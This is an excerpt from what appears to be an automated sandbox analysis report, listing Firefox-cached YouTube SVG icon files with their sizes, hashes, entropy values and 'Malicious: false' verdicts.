Encrypted:	false
SSDEEP:	6:9lfETCI9mc4slhLJ9hCsbZfAFYwSHBoxnOLgQ/hpS0CcKyxW8xGeDogniLELo:9WTC47N9UO7wSHBoVOLgw/vCcQ8xGzEo
MD5:	93FE42B9CACAD9A58418D5702E29918D
SHA1:	FC31EA0118B5B0999DC102EFB09ED974B0A6EF9F
SHA-256:	10A26C50074171DEF0DB39D8343CE1B08C398E77336F87DAC2707492053F891A
SHA-512:	9248B47C5B621C6DCD9792B25C765C6BF7DBAB2A03ECA1F4507EA42C1AFF3F08CA165F89C75F43C2BB1F35514845EA7CCEA5199BBF57DDAAF631D0A4BB2CCD7F
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.3..t......^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><path d="M3,11h3v10H3V11z M18.77...-4.23l1.52-4.94C16.38,5.03,15.54,4,14..L4c-0.58,0-1.14,0.24-.7.,0.65L.L.Sv10h10.43 c1.06,0,1.98-0.67,2.19-1.61l1.34-6C21.23,12.15,20.18,11,18.77,11z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\156\{7bb070b7-fa8e-4cca-9b99-e3c8a6d48b9c}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	659
Entropy (8bit):	5.438724004113008
Encrypted:	false
SSDEEP:	12:9jRGtM68o6HAhuavYsbcQmDR/DqCXGf44XHcIPP:9jwtMfobuaAscR/zGf4a8IPP
MD5:	6593C3CD0CD304B103124A65062A274C
SHA1:	ABA82966F9EEBB81BCB05AB9EADC5F9EC7087F38
SHA-256:	89E8C95A42B02E26E31E55E66381898D19E3AD9E6DA3F27AD837C7470F9B9324
SHA-512:	AC4026F5FE5346F518171C3CE08C0BA5652382F1EF83B1358140E5696AE1721D980B925925CA24D2B84CC6A84B5FDDC9433AC492C943D09BA2F8F2485E892768
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........F<svg xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-:..hd="M6.15895 20.0023C5.32221.... 4.54031 19.586 4.07317 18.8918C3.30492 17.7502 3.31241 16.255 4.09205 15.1211L4.82045 14.0617L4.14538 12.4963C3.74297 11.5632 3.8.~.0.4898 4.40399 9.64424L5.50013 8.0000...6...1C. 84.89774 6.39557...0231 7.@.4...2L2!..01...9C21.104.0.4 22.h...89783...o.4L...19.1736C...V$73 21.7396...8201...255..d4985L16.1368 28.6641C15.92.wT8.9643 15.5279 29.0747...1888.0(9294C13.423..L1729 12.4653 26.2504..89234 24.3856L14...2...24L:...ZM2%.!c.C28!..6!.... ._.7.6046...6...L29%..006C29%v.549...1.).o.06 2)Q.006L24.....18.G.x@Z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\156\{7bb070b7-fa8e-4cca-9b99-e3c8a6d48b9c}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	659
Entropy (8bit):	5.438724004113008
Encrypted:	false
SSDEEP:	12:9jRGtM68o6HAhuavYsbcQmDR/DqCXGf44XHcIPP:9jwtMfobuaAscR/zGf4a8IPP
MD5:	6593C3CD0CD304B103124A65062A274C
SHA1:	ABA82966F9EEBB81BCB05AB9EADC5F9EC7087F38
SHA-256:	89E8C95A42B02E26E31E55E66381898D19E3AD9E6DA3F27AD837C7470F9B9324
SHA-512:	AC4026F5FE5346F518171C3CE08C0BA5652382F1EF83B1358140E5696AE1721D980B925925CA24D2B84CC6A84B5FDDC9433AC492C943D09BA2F8F2485E892768
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY...........F<svg xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-:..hd="M6.15895 20.0023C5.32221.... 4.54031 19.586 4.07317 18.8918C3.30492 17.7502 3.31241 16.255 4.09205 15.1211L4.82045 14.0617L4.14538 12.4963C3.74297 11.5632 3.8.~.0.4898 4.40399 9.64424L5.50013 8.0000...6...1C. 84.89774 6.39557...0231 7.@.4...2L2!..01...9C21.104.0.4 22.h...89783...o.4L...19.1736C...V$73 21.7396...8201...255..d4985L16.1368 28.6641C15.92.wT8.9643 15.5279 29.0747...1888.0(9294C13.423..L1729 12.4653 26.2504..89234 24.3856L14...2...24L:...ZM2%.!c.C28!..6!.... ._.7.6046...6...L29%..006C29%v.549...1.).o.06 2)Q.006L24.....18.G.x@Z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\159\{5411f106-5d51-4817-8f69-ad4bd003539f}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.41508822142586
Encrypted:	false
SSDEEP:	6:9/HCB9mc4slhLJ9hCcp0qVJD2zPdqUQ58t:9a/7N9UYxf2bQ58t
MD5:	030DD07949FEE4D5E67E6885B76CCEDF
SHA1:	A83002727B38D84882FDC444A3F5D7FD7963ACAE
SHA-256:	95C8349DECA56128EAD6DACEB682594A737A5AF8A03B70065E1F2C6C4FB84209
SHA-512:	F094815A8ED89BB7E6376238142CC13887694FB184D9FFFFDAC56B7FAE2BDE2CE7ACF3D50C0431D14CA2E03620526CC21BFE1B6C44B467E079E30E9DC3A8E87B
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....8..7...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...L><path d="M12 4v9.38c-.73-.84-1.8-1.38-3-1.38-2.21 0-4 1.79-4 4s1.79 4 4 4 4-..X 4-4V8h6V4h-7z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\159\{5411f106-5d51-4817-8f69-ad4bd003539f}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.41508822142586
Encrypted:	false
SSDEEP:	6:9/HCB9mc4slhLJ9hCcp0qVJD2zPdqUQ58t:9a/7N9UYxf2bQ58t
MD5:	030DD07949FEE4D5E67E6885B76CCEDF
SHA1:	A83002727B38D84882FDC444A3F5D7FD7963ACAE
SHA-256:	95C8349DECA56128EAD6DACEB682594A737A5AF8A03B70065E1F2C6C4FB84209
SHA-512:	F094815A8ED89BB7E6376238142CC13887694FB184D9FFFFDAC56B7FAE2BDE2CE7ACF3D50C0431D14CA2E03620526CC21BFE1B6C44B467E079E30E9DC3A8E87B
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....8..7...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...L><path d="M12 4v9.38c-.73-.84-1.8-1.38-3-1.38-2.21 0-4 1.79-4 4s1.79 4 4 4 4-..X 4-4V8h6V4h-7z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\161\{4b1ab2d1-409e-4403-9147-f9301c03a7a1}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	593
Entropy (8bit):	4.761164576025906
Encrypted:	false
SSDEEP:	12:9gOC47N9U7BprcQLVhjrAY5uiK8KnnY8/4U0wRJIAoZ6iiMUV0TDoc:9gt4jU7zcQrjrAY3/Kt/4U0OIFoUzTD3
MD5:	0C93D244125F8056CC0A69A4CA53F049
SHA1:	E35678E1A49498E40E1ED508B521E79779A6D25A
SHA-256:	F286CE18E4E82F60816536D23DD2B1708CC45A3D1850B132B282FEB1D5AEC4F9
SHA-512:	198952BCD97B9497F6CABD7C9DD6CF0B8E75416FE5A2EAEA15CA1E30919B7219BE5B28985752834F0B8D501B9D6F6B637AC799DB078A16F1E7E95480DFEDCF5E
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.C...i.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width.....><path d="M19 3.87v9.77C19 17.7 15.86 21 12 21s-7-3.3-7-7.37v-.13c0-1.06.22-2.13.62-3.09.5-1.19 1.29-2.21 2.27-2.97.85-.66 1.83-1.14 2.87-1.65.39-.19.77-.38 1.15-.58.36-.19.72-.38 1.08-.56v3.22l1.55-1.04L19 3.87M20 2l-6 4V3c-.85.44-1.7.88-2.55 1.33-1.41.74-2.9 1.34-4.17 2.32-1.13.87-2.02 2.05-2.58 3.37-.46 1.09-.7 2.29-.7 3.48v.14C4 18.26 7.58 22 12 22s8-3.74 8-8.36V2zM9.45 12.89 14 10v5.7c0 1.82-1.34 3.3-3 3.3s-3-1.47-3-3.3c0-1.19.58-2.23 1.45-2.81z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\161\{4b1ab2d1-409e-4403-9147-f9301c03a7a1}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	593
Entropy (8bit):	4.761164576025906
Encrypted:	false
SSDEEP:	12:9gOC47N9U7BprcQLVhjrAY5uiK8KnnY8/4U0wRJIAoZ6iiMUV0TDoc:9gt4jU7zcQrjrAY3/Kt/4U0OIFoUzTD3
MD5:	0C93D244125F8056CC0A69A4CA53F049
SHA1:	E35678E1A49498E40E1ED508B521E79779A6D25A
SHA-256:	F286CE18E4E82F60816536D23DD2B1708CC45A3D1850B132B282FEB1D5AEC4F9
SHA-512:	198952BCD97B9497F6CABD7C9DD6CF0B8E75416FE5A2EAEA15CA1E30919B7219BE5B28985752834F0B8D501B9D6F6B637AC799DB078A16F1E7E95480DFEDCF5E
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.C...i.....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width.....><path d="M19 3.87v9.77C19 17.7 15.86 21 12 21s-7-3.3-7-7.37v-.13c0-1.06.22-2.13.62-3.09.5-1.19 1.29-2.21 2.27-2.97.85-.66 1.83-1.14 2.87-1.65.39-.19.77-.38 1.15-.58.36-.19.72-.38 1.08-.56v3.22l1.55-1.04L19 3.87M20 2l-6 4V3c-.85.44-1.7.88-2.55 1.33-1.41.74-2.9 1.34-4.17 2.32-1.13.87-2.02 2.05-2.58 3.37-.46 1.09-.7 2.29-.7 3.48v.14C4 18.26 7.58 22 12 22s8-3.74 8-8.36V2zM9.45 12.89 14 10v5.7c0 1.82-1.34 3.3-3 3.3s-3-1.47-3-3.3c0-1.19.58-2.23 1.45-2.81z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\164\{2ab35da3-3fc6-48e8-9872-e9ab2d8656a4}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	148
Entropy (8bit):	5.286717120327959
Encrypted:	false
SSDEEP:	3:970ZpvjTKIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHL1FId/cIS0:97gBj/9mc4slhohC/vmI4spn
MD5:	BE912F4BCD3B478ACE5DF6DC46D82AA8
SHA1:	2485E534279A5FA834A6E099CCCC92F20C91052F
SHA-256:	8A3103971412691DE6CA0BF149F63E274D5347E8942210E0B14470BC2C74538A
SHA-512:	8D082B4BBDC165115C47454A3D641A6D6FC9AC732A6F2BC511802FAE3EBDBA8A84ECF64D1ACFE1FC9C023CF40AE2520CD74D5CC428DC9EBA7913A2323B27D59A
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....<L...~<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M9 19H7V5h2Zm8-14h-2v14h2Z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\164\{2ab35da3-3fc6-48e8-9872-e9ab2d8656a4}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	148
Entropy (8bit):	5.286717120327959
Encrypted:	false
SSDEEP:	3:970ZpvjTKIsqDmJS4RKb5sAR+hHiATcvXjXRHRcBHoNcHL1FId/cIS0:97gBj/9mc4slhohC/vmI4spn
MD5:	BE912F4BCD3B478ACE5DF6DC46D82AA8
SHA1:	2485E534279A5FA834A6E099CCCC92F20C91052F
SHA-256:	8A3103971412691DE6CA0BF149F63E274D5347E8942210E0B14470BC2C74538A
SHA-512:	8D082B4BBDC165115C47454A3D641A6D6FC9AC732A6F2BC511802FAE3EBDBA8A84ECF64D1ACFE1FC9C023CF40AE2520CD74D5CC428DC9EBA7913A2323B27D59A
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....<L...~<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M9 19H7V5h2Zm8-14h-2v14h2Z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\165\{f9a59e78-573d-48a9-b2c1-5ae8f1343ba5}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	578
Entropy (8bit):	5.3056821971892285
Encrypted:	false
SSDEEP:	12:9Igt47N9UPRSpPiaYjmnjdClm2mwT2G5FXa5V+vdhBMftkb121vqSbY:9Igt4jUyPnYynslmDwT75FK57fabg1vU
MD5:	FF1714439DA5865EDA7A26D7366ECD42
SHA1:	D05AC8350FA53BCB01C187B349B9C0B6CD990DA7
SHA-256:	F2406A6799CC1538F17A8AE8EB0F6B053FC8F8CC37F77429DE1FB638BBBEBFFE
SHA-512:	4D76E9D3676913D82FE7C85F4F481C2508EEB7BDC76F61507353E6AF12C70DD2721D43D3405809D518F29B87C0CFDC1658AD688453E37AACEB4E6CB68669204E
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.4........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...y><path d="M15.36 9.96c0 1.09-.67 1.67-1.31 2.24-.53.47-1.03.9-1.16 1.6l-.04.2H11.1l.03-.28c.14-1.17.8-1.76 1.47-2.27.52-.4.c.1-.7.c.01-1.49 0-.51-.23-.97-.63-1.29-.4-.31-.92-.42.+.2-..(59.15-1.05... 19 1.34l-..(28H8.57l.06.7.c.2.:. 1.302.53 2.42-2.8...5.R0 2.14-.08 2.9.=..85.6.4.33!..2._.9d68zM12 18c.55 0 1-.45 1-1s...-1... .45-1 ... ..h1zm0-15c-4.96 0-9 4.04-9 9s... 9...-...-...-...9.9.c5.52.n40 4.48 10 10s-...-...S2 17.'.2 12 6.'..(2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\165\{f9a59e78-573d-48a9-b2c1-5ae8f1343ba5}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	578
Entropy (8bit):	5.3056821971892285
Encrypted:	false
SSDEEP:	12:9Igt47N9UPRSpPiaYjmnjdClm2mwT2G5FXa5V+vdhBMftkb121vqSbY:9Igt4jUyPnYynslmDwT75FK57fabg1vU
MD5:	FF1714439DA5865EDA7A26D7366ECD42
SHA1:	D05AC8350FA53BCB01C187B349B9C0B6CD990DA7
SHA-256:	F2406A6799CC1538F17A8AE8EB0F6B053FC8F8CC37F77429DE1FB638BBBEBFFE
SHA-512:	4D76E9D3676913D82FE7C85F4F481C2508EEB7BDC76F61507353E6AF12C70DD2721D43D3405809D518F29B87C0CFDC1658AD688453E37AACEB4E6CB68669204E
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.4........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...y><path d="M15.36 9.96c0 1.09-.67 1.67-1.31 2.24-.53.47-1.03.9-1.16 1.6l-.04.2H11.1l.03-.28c.14-1.17.8-1.76 1.47-2.27.52-.4.c.1-.7.c.01-1.49 0-.51-.23-.97-.63-1.29-.4-.31-.92-.42.+.2-..(59.15-1.05... 19 1.34l-..(28H8.57l.06.7.c.2.:. 1.302.53 2.42-2.8...5.R0 2.14-.08 2.9.=..85.6.4.33!..2._.9d68zM12 18c.55 0 1-.45 1-1s...-1... .45-1 ... ..h1zm0-15c-4.96 0-9 4.04-9 9s... 9...-...-...-...9.9.c5.52.n40 4.48 10 10s-...-...S2 17.'.2 12 6.'..(2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\167\{da89f891-c8b5-4904-98ad-580201d039a7}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.723591784870564
Encrypted:	false
SSDEEP:	6:9vlMXL9mc4slbWKJAOBUW4URvJ0BOyV1uERF5MobBWDcEttCJHDvsfsuvkr7:9vWp0rOF4VOs0E759Gd7KjvAsL7
MD5:	162F09323B6A93D1A573C6059F56748D
SHA1:	01AD3259E6F31B5574868F7E71A180917E480328
SHA-256:	66A152F9FE8AFB18DB1FA201C5054750721AF807E1DFAFAB9BA70BB17D131CF4
SHA-512:	0ECB45D87D32D12FD0EC446C3A9B8405162465D8B940EEF6C86CB634962BC4E6C95E6EC18D6744E4E8ED730EE4417F10A7808B505AA1CCB78DEB58BA0161A5E1
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.%....n....[<svg xmlns="http://www.w3.org/2000/svg">. <circle fill="#FF0000" cx="12" cy="12" r="10"></c./.:.polygon .;..." points.0`,14.65 10,9.35 15,12 "></.:.F.ath>C.ld="M12,7c2.76,0,5,2.24,5,5s-...-...5...-5-5S9.!.7,.6. .<P6c-3.31,0-6,2.69-6,6s...,6...s6-...-6 S15.*.6.=.6L12,6z..,ath>.</svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\167\{da89f891-c8b5-4904-98ad-580201d039a7}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.723591784870564
Encrypted:	false
SSDEEP:	6:9vlMXL9mc4slbWKJAOBUW4URvJ0BOyV1uERF5MobBWDcEttCJHDvsfsuvkr7:9vWp0rOF4VOs0E759Gd7KjvAsL7
MD5:	162F09323B6A93D1A573C6059F56748D
SHA1:	01AD3259E6F31B5574868F7E71A180917E480328
SHA-256:	66A152F9FE8AFB18DB1FA201C5054750721AF807E1DFAFAB9BA70BB17D131CF4
SHA-512:	0ECB45D87D32D12FD0EC446C3A9B8405162465D8B940EEF6C86CB634962BC4E6C95E6EC18D6744E4E8ED730EE4417F10A7808B505AA1CCB78DEB58BA0161A5E1
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.%....n....[<svg xmlns="http://www.w3.org/2000/svg">. <circle fill="#FF0000" cx="12" cy="12" r="10"></c./.:.polygon .;..." points.0`,14.65 10,9.35 15,12 "></.:.F.ath>C.ld="M12,7c2.76,0,5,2.24,5,5s-...-...5...-5-5S9.!.7,.6. .<P6c-3.31,0-6,2.69-6,6s...,6...s6-...-6 S15.*.6.=.6L12,6z..,ath>.</svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\168\{b582b8f4-7024-48e9-8496-61058db552a8}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	5.601570395396915
Encrypted:	false
SSDEEP:	6:9vv09mc4slhLJ9hCeV44u2PAZPTkY5fUgNWu:9Xs7N9UKBKTkYZUgZ
MD5:	321EA72E49DF8692233391C1F36451E6
SHA1:	2F016758FC5830A806ED9891E574936DB521C034
SHA-256:	8113EF313D8A5519DF57034E29DB538C65721112804BF1A1A446B8302AE7E0D0
SHA-512:	86D5A408E472A62C2CFCF69A5FADC122F7A62DAE866A36FDC4A7381DE6CC8028AF4BA51CEC9C827B9815C26F75DB82C4813AB25682C728C1F03D3BFC7FF21114
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....n.I...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..T><path d="m11 7 6 3.5-..\|V7zm7 13H4V6H3v15h15v-1zm3-2H6V3..l15zM7 17h13V4H7v13z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\168\{b582b8f4-7024-48e9-8496-61058db552a8}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	5.601570395396915
Encrypted:	false
SSDEEP:	6:9vv09mc4slhLJ9hCeV44u2PAZPTkY5fUgNWu:9Xs7N9UKBKTkYZUgZ
MD5:	321EA72E49DF8692233391C1F36451E6
SHA1:	2F016758FC5830A806ED9891E574936DB521C034
SHA-256:	8113EF313D8A5519DF57034E29DB538C65721112804BF1A1A446B8302AE7E0D0
SHA-512:	86D5A408E472A62C2CFCF69A5FADC122F7A62DAE866A36FDC4A7381DE6CC8028AF4BA51CEC9C827B9815C26F75DB82C4813AB25682C728C1F03D3BFC7FF21114
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....n.I...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width..T><path d="m11 7 6 3.5-..\|V7zm7 13H4V6H3v15h15v-1zm3-2H6V3..l15zM7 17h13V4H7v13z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\176\{f918bb4a-d8d4-4b28-946c-fc89d8619db0}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.52624316663953
Encrypted:	false
SSDEEP:	6:96I9mc4slhLJ9hCcp0qVJD2zPdqUQ5iZYLnIOZCXDpLsQF:9647N9UYxf2bQ5iZ6Im6QQF
MD5:	B719A3C8378A40CB900349AD2A922921
SHA1:	10A71EDED94CF7FCF70BB4952A35434526264E88
SHA-256:	7D6082DFF0E7A043A631EE1AC1C1E094458D7F7607D075DB809CA60F531539BA
SHA-512:	5BBFE366CC072B80C4D35C45EC91C4CE60A6F5140E6AD7109554CA3DCECB765336FFE938BF490E99C8EDDDBC3571D41C8E2A34E1BECDBD9ADAF334B15207E167
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......i....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...L><path d="M12 4v9.38c-.73-.84-1.8-1.38-3-1.38-2.21 0-4 1.79-4 4s1.79 4 4 4 4-..l 4-4V8h6V4h-7zM9 19c-1.66 0-.F.4-3-3s1.... 3-3 3 ... ......`zm9-12h-5V5h5v2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\176\{f918bb4a-d8d4-4b28-946c-fc89d8619db0}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.52624316663953
Encrypted:	false
SSDEEP:	6:96I9mc4slhLJ9hCcp0qVJD2zPdqUQ5iZYLnIOZCXDpLsQF:9647N9UYxf2bQ5iZ6Im6QQF
MD5:	B719A3C8378A40CB900349AD2A922921
SHA1:	10A71EDED94CF7FCF70BB4952A35434526264E88
SHA-256:	7D6082DFF0E7A043A631EE1AC1C1E094458D7F7607D075DB809CA60F531539BA
SHA-512:	5BBFE366CC072B80C4D35C45EC91C4CE60A6F5140E6AD7109554CA3DCECB765336FFE938BF490E99C8EDDDBC3571D41C8E2A34E1BECDBD9ADAF334B15207E167
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......i....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...L><path d="M12 4v9.38c-.73-.84-1.8-1.38-3-1.38-2.21 0-4 1.79-4 4s1.79 4 4 4 4-..l 4-4V8h6V4h-7zM9 19c-1.66 0-.F.4-3-3s1.... 3-3 3 ... ......`zm9-12h-5V5h5v2z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\177\{af3ba4c4-9a75-40e0-a012-42d045ef76b1}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.292818836405644
Encrypted:	false
SSDEEP:	6:9xtI9mc4slhohC/vmI4LUhVNBz1VOGQQQEi:9MnoU/vmRgjNdOGQR
MD5:	C6993227CD75C082EB25AEE8332D888E
SHA1:	A2E27914BAF9A1A4B8579506F419BC7167DFF937
SHA-256:	75C2BDA8599570DE972A83352D94CEBC61A2BF66C8470A0461F0803C59DD8223
SHA-512:	BC37854E6471273085BD3EE362EDE016FEA6EACCB11194F749C3A092BC803DF07C7DFED2D0A3FA538CD447A21D4875F95CCAC3FF4F278C96249E7110CB968B39
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......0'...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M17 18v1H6v-1h11zm-.5-6.6-.7-.7-3.8 3.7V4h-1v10.4l-3.8-3.8-.7.7 5 5 5-4.9z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\177\{af3ba4c4-9a75-40e0-a012-42d045ef76b1}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.292818836405644
Encrypted:	false
SSDEEP:	6:9xtI9mc4slhohC/vmI4LUhVNBz1VOGQQQEi:9MnoU/vmRgjNdOGQR
MD5:	C6993227CD75C082EB25AEE8332D888E
SHA1:	A2E27914BAF9A1A4B8579506F419BC7167DFF937
SHA-256:	75C2BDA8599570DE972A83352D94CEBC61A2BF66C8470A0461F0803C59DD8223
SHA-512:	BC37854E6471273085BD3EE362EDE016FEA6EACCB11194F749C3A092BC803DF07C7DFED2D0A3FA538CD447A21D4875F95CCAC3FF4F278C96249E7110CB968B39
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY......0'...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M17 18v1H6v-1h11zm-.5-6.6-.7-.7-3.8 3.7V4h-1v10.4l-3.8-3.8-.7.7 5 5 5-4.9z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\17\{7fa55a66-7824-40a6-9ab4-3a02ed54fb11}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	132
Entropy (8bit):	5.303314764784
Encrypted:	false
SSDEEP:	3:9rlYhQbIsqDmJS4RKb5KVErcHgDXFUVLUJRVFiAdFUvuII9rP0WTC:9rKkI9mc4slmgSVLU9FRF0ul5TC
MD5:	BE203547CE77FA7A91259437B55C0D1F
SHA1:	CFF2FF2C9469AC96EFF7BAAA308CDC886FAB804D
SHA-256:	E5F9C781A4756C64455652D9B4BD944AAB9ECC1EEF556814C00B1797209F4840
SHA-512:	ADF00778A63EA8A143F8FBBF61188392A87A376234E17856339036854CFF3A5247AED0B1C0B603332E244D348D58402BA58B32F6DF6CC8E18F9D8242F6573F71
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.v...I..o.n<svg xmlns="http://www.w3.org/2000/svg"><path d="M7.41 15.41L12 10.83l4.59 4.58L18 14l-6-6-6 6z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\17\{7fa55a66-7824-40a6-9ab4-3a02ed54fb11}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	132
Entropy (8bit):	5.303314764784
Encrypted:	false
SSDEEP:	3:9rlYhQbIsqDmJS4RKb5KVErcHgDXFUVLUJRVFiAdFUvuII9rP0WTC:9rKkI9mc4slmgSVLU9FRF0ul5TC
MD5:	BE203547CE77FA7A91259437B55C0D1F
SHA1:	CFF2FF2C9469AC96EFF7BAAA308CDC886FAB804D
SHA-256:	E5F9C781A4756C64455652D9B4BD944AAB9ECC1EEF556814C00B1797209F4840
